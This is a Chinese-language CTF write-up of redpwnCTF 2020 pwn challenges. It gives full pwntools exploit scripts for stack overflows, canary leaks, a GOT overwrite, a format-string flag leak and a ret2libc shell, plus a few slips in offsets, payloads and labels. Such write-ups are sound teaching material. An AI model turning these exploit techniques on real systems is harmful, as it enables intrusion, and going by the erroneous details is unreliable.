skywriting(覆盤)
簡單 canary 保護繞過,覆盤連不上官方環境,exp 本地版本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : [email protected]
# @File : skywriting.py
from pwn import *
context.log_level = 'debug'
p = process("./skywriting")
elf = ELF("./skywriting")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter("sky?","1")
p.sendafter("shot: ","a"*0x88+'-')
p.recvuntil("a"*0x88)
canary = u64(p.recv(8))-0x2d
log.info("canary:"+hex(canary))
p.sendafter("shot: ","a"*(0x7fffffffdca8-0x7fffffffdc10))
p.recvuntil("a"*(0x7fffffffdca8-0x7fffffffdc10))
libc_start_main = u64(p.recv(6).ljust(8,'\x00'))
log.info("libc_start_main:"+hex(libc_start_main))
libc_base = libc_start_main - 0x20830
log.info("libc_base:"+hex(libc_base))
onegadget = libc_base + 0xf1147
log.info("onegadget:"+hex(onegadget))
payload = "notflag{a_cloud_is_just_someone_elses_computer}\n\x00"
payload = payload.ljust(0x88,'a')
payload += p64(canary) + p64(canary) + p64(onegadget)
p.sendafter("shot: ",payload)
p.interactive()
dead-canary(覆盤)
一開始做的時候沒有想到可以覆蓋 __stack_chk_fail got 表地址,一心想着繞過 canary ,然後就困惑着怎麼 ROP 。
解題思路
通過故意破壞 canary 的值觸發程序執行 __stack_chk_fail ,而這個函數 got 函數已知,在觸發之前將這個函數覆蓋爲 main 函數,完成 ROP 。
在第一輪輸入的時候:泄露 __libc_start_main ;泄露 canary ;改寫 __stack_chk_fail got 表爲 main 。
payload = "%41$p%39$p%40$p" + "%4196117c%10$n-->"
payload += p64(elf.got["__stack_chk_fail"])
payload = payload.ljust(0x110-8,'a')
payload += '\x2d'
第二輪輸入時候恢復 canary 、控制 rip 爲 onegadget 。
payload = 'skye' + 'a'*(0x110-8-4) + p64(canary)
payload += p64(0xdeadbeef) + p64(onegadget)
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : [email protected]
# @File : dead-canary.py
from pwn import *
context.log_level='debug'
p = process("./dead-canary")
elf = ELF("./dead-canary")
payload = "%41$p%39$p<>" + "%4196117c%10$n----->"
payload += p64(elf.got["__stack_chk_fail"])
payload = payload.ljust(0x110-8,'a')
payload += '\x2d'
p.recvuntil("name: ")
gdb.attach(p,'b *0x4007F3')
p.send(payload)
p.recvuntil("Hello ")
libc_start_main = int(p.recv(14),16)
log.info("libc_start_main:"+hex(libc_start_main))
canary = int(p.recv(18),16) - 0x2d
log.info("canary:"+hex(canary))
libc_base = libc_start_main - 0x20830
log.info("canary:"+hex(canary))
onegadget = libc_base + 0x45216
log.info("onegadget:"+hex(onegadget))
payload = 'skye' + 'a'*(0x110-8-4) + p64(canary)
payload += p64(0xdeadbeef) + p64(onegadget)
p.recvuntil("name: ")
p.send(payload)
p.interactive()
ctftime 上看到外國小哥最後 getshell 有用 stack pivoting 。emmm 還得搞個 rbp 算偏移 emmm
coffer-overflow-0
分析
保護情況
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞函數
題目給了程序源代碼,但是我們還是按照正常題目做法分析二進制文件。
漏洞就在 main 中,gets 函數存在棧溢出:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-8h]
v5 = 0LL;
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
puts("What do you want to fill your coffer with?");
gets(&v4, 0LL); // 棧溢出
if ( v5 )
system("/bin/sh");
return 0;
}
main 函數中在存在着 system("/bin/sh")
的後門函數。
思路
程序用 gets 函數存在棧溢出漏洞,而進入後門函數需要判斷 v5 的布爾值。這裏就有兩種做法,一種利用棧溢出修改棧上變量 v5 的值,從而讓程序正常進入 後門函數 ;第二種就是棧溢出修改 rip 的返回地址到 system("/bin/sh")
。兩種做法都可行,我採用第一種。
首先就是確定 v5 變量在棧上的位置。可以從 IDA 變量後面的註釋去分析:
char v4; // [rsp+0h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-8h]
v4 距離 rbp 0x20 ;v5 距離 rbp 0x8;那麼可以得出 v4 距離 v5 0x16(0x20-0x8)。
確定填充長度之後就是填充內容了,if 條件檢查的是 v5 的布爾值,那麼就賦值一個 1 即可條件成立,進入後門函數。
payload = 'a'*(0x20-0x8)
payload += p64(0xcafebabe)
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : [email protected]
# @File : coffer-overflow-0.py
from pwn import *
context.log_level = 'debug'
#p = process("./coffer-overflow-0")
p = remote("2020.redpwnc.tf",31199)
elf = ELF("./coffer-overflow-0")
payload = 'a'*(0x20-0x8)
payload += p64(0X1)
p.sendlineafter("with?\n",payload)
p.interactive()
coffer-overflow-1
分析
保護情況
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞函數
題目給了程序源代碼,但是我們還是按照正常題目做法分析二進制文件。
漏洞就在 main 中,gets 函數存在棧溢出:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-8h]
v5 = 0LL;
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
puts("What do you want to fill your coffer with?");
gets(&v4, 0LL); // 棧溢出
if ( v5 == 3405691582LL )
system("/bin/sh");
return 0;
}
main 函數中在存在着 system("/bin/sh")
的後門函數。
思路
程序用 gets 函數存在棧溢出漏洞,而進入後門函數需要判斷 v5 的值是否爲 0xCAFEBABE
。這裏就有兩種做法,一種利用棧溢出修改棧上變量 v5 的值,從而讓程序正常進入 後門函數 ;第二種就是棧溢出修改 rip 的返回地址到 system("/bin/sh")
。兩種做法都可行,我採用第一種。
首先就是確定 v5 變量在棧上的位置。可以從 IDA 變量後面的註釋去分析:
char v4; // [rsp+0h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-8h]
v4 距離 rbp 0x20 ;v5 距離 rbp 0x8;那麼可以得出 v4 距離 v5 0x16(0x20-0x8)。
確定填充長度之後就是填充內容了,if 條件檢查的是 v5 的布爾值,那麼就賦值一個 1 即可條件成立,進入後門函數。
payload = 'a'*(0x20-0x8)
payload += p64(0X1)
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : [email protected]
# @File : coffer-overflow-1.py
from pwn import *
context.log_level = 'debug'
#p = process("./coffer-overflow-1")
p = remote("2020.redpwnc.tf",31255)
elf = ELF("./coffer-overflow-1")
payload = 'a'*(0x20-0x8)
payload += p64(0xcafebabe)
p.sendlineafter("with?\n",payload)
p.interactive()
coffer-overflow-2
分析
保護情況
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞函數
題目給了程序源代碼,但是我們還是按照正常題目做法分析二進制文件。
漏洞就在 main 中,gets 函數存在棧溢出:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
puts("What do you want to fill your coffer with?");
gets(&v4, 0LL);
return 0;
}
程序中存在有後門函數,但不像前兩題放在 main 函數中。
int binFunction()
{
return system("/bin/sh");
}
思路
程序用 gets 函數存在棧溢出漏洞,也有後門函數,但不像前兩題放在 main 函數中。做法就是前兩題提到的第二種做法:利用棧溢出修改 rip 的返回地址到後門函數 binFunction()
。
首先就是確定填充長度,可以從 IDA 變量後面的註釋去分析:
char v4; // [rsp+0h] [rbp-10h]
填充 0x10 到 rbp ,再填充 0x8 就是到達了 rip 。最終得出我們需要填充 0x18 。
填充長度確認了,然後就是 rip 的填充內容,程序沒有打開 pie 保護,直接從 ida 裏面找到 binFunction()
地址:0x04006E6 。
payload = 'a' * 0x10 + p64(0xdeadbeef)
payload += p64(binFunction)
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : [email protected]
# @File : coffer-overflow-2.py
from pwn import *
context.log_level = 'debug'
#p = process("./coffer-overflow-2")
p = remote("2020.redpwnc.tf",31908)
elf = process("./coffer-overflow-2")
binFunction = 0x04006E6
log.info("binFunction:"+hex(binFunction))
payload = 'a' * 0x10 + p64(0xdeadbeef)
payload += p64(binFunction)
p.sendlineafter("with?\n",payload)
p.interactive()
secret-flag
分析
保護情況
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞函數
main 函數中的 19 行格式化字符串漏洞。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *buf; // ST08_8
int fd; // ST04_4
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
buf = malloc(0x100uLL);
fd = open("flag.txt", 0);
read(fd, buf, 0x100uLL);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("I have a secret flag, which you'll never get!");
puts("What is your name, young adventurer?");
fgets(&s, 0x14, stdin);
printf("Hello there: ", 0x14LL);
printf(&s); // 格式化字符串
return 0LL;
}
思路
main 函數開始先申請一個塊堆,用 buf 去存儲堆指針。然後從 flag.txt 讀取 flag 到 buf 指向的堆中。
19 行存在一個格式化字符串漏洞,這個格式化字符串漏洞, 可以用來讀取數據。到這裏我們肯定會聯想到讀取程序中被讀入的 flag 。
正常來說,通常都是通過偏移讀取棧上的數據,常用的是用 %p 、%x ……但是這道題目將 flag 存放在堆上,堆指針存放在了棧上。
這裏就需要知道一個技巧了,%p、%x 讀取的時候是找到棧上的某一個地址後,將該地址存儲的數據當作值輸出。而使用 %s 讀取時是找到棧上的某一個地址後,將該地址存儲的數據當做指針,去找這個指針指向的值。
結合這條題理解一下,將斷點打在 0x9f0 ,打開 PIE 保護程序打斷點:gdb.attach(p,"b *$rebase(0x9f0)")
,運行到斷點處觀察棧結構:
內存地址 0x7fffffffdd58 存儲值爲:0x555555756010;0x555555756010 是堆指針,堆中存儲是本地flag:bbbbbbbbccccccccdddddddd\n。
下面是分別用 %p 和 %s 輸出的結果:
# %p輸出結果
0x555555756010
# %s輸出結果
bbbbbbbbccccccccdddddddd
還有一點就是用 %s 輸出數據會一直輸出直到遇到 \x00(結束符)爲止。
確定了泄露 flag 方法了,然後就是需要確定偏移地址了。偏移地址可以用算,也可以輸入多個 %p 爆出來,這次我試一下沒用過的算出來。
首先 64 位程序前 6 個參數是寄存器傳參,然後 rsp 到格式化字符串距離是 3 ,所以格式化字符串偏移爲 5+3 ;堆指針偏移爲 5+2 。
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : [email protected]
# @File : secret-flag.py
from pwn import *
context.log_level='debug'
p = process("./secret-flag")
#p = remote("2020.redpwnc.tf",31826)
elf = ELF("./secret-flag")
payload = 'a'*0x8 + "%7$s"#+ "%8$p"
p.recvuntil("adventurer?\n")
#gdb.attach(p,"b *$rebase(0x9f0)")
p.sendline(payload)
print p.recv()
p.interactive()
the-library
分析
保護情況
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞函數
這裏有兩個漏洞,都是在 main 中。一個是棧溢出、一個是格式化字符串。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to the library... What's your name?");
read(0, &buf, 0x100uLL); // 棧溢出
puts("Hello there: ");
puts(&buf); // 格式化字符串
return 0;
}
程序沒有給後門函數。
思路
這個程序沒有開 canary 直接利用棧溢出做一個 ROP 就行了。填充長度是:0x10+0x8 。先用 puts@plt 輸出 puts@got ,然後 ret2text 回到 main 中,再次利用棧溢出修改 rip 執行 system('/bin/sh')
。payload 如下:
# leak libc
payload = 'a'*0x10 + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
# ret2libc
payload = 'a'*0x10 + p64(0xdeadbeef)
payload += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : [email protected]
# @File : the-library.py
from pwn import *
context.log_level = 'debug'
#p = process("./the-library")
p = remote("2020.redpwnc.tf",31350)
elf = ELF("./the-library")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0400637
pop_rdi = 0x0000000000400733
ret = 0x0000000000400506
# leak libc
payload = 'a'*0x10 + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil("name?\n")
#gdb.attach(p)
log.success("starting payload1")
p.send(payload)
p.recvuntil('\n')
p.recvuntil('\n')
puts_leak = u64(p.recv(6).ljust(8,'\x00'))
log.info("puts_leak:"+hex(puts_leak))
libc_base = puts_leak - 0x0809c0#libc.symbols['puts']
log.info("libc_base:"+hex(libc_base))
system = libc_base + 0x04f440#libc.symbols['system']
log.info("system:"+hex(system))
binsh = libc_base + 0x1b3e9a#libc.search('/bin/sh\x00').next()
log.info("binsh:"+hex(binsh))
# ret2libc
payload = 'a'*0x10 + p64(0xdeadbeef)
payload += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)# + p64(main_addr)
p.sendlineafter("name?\n",payload)
p.interactive()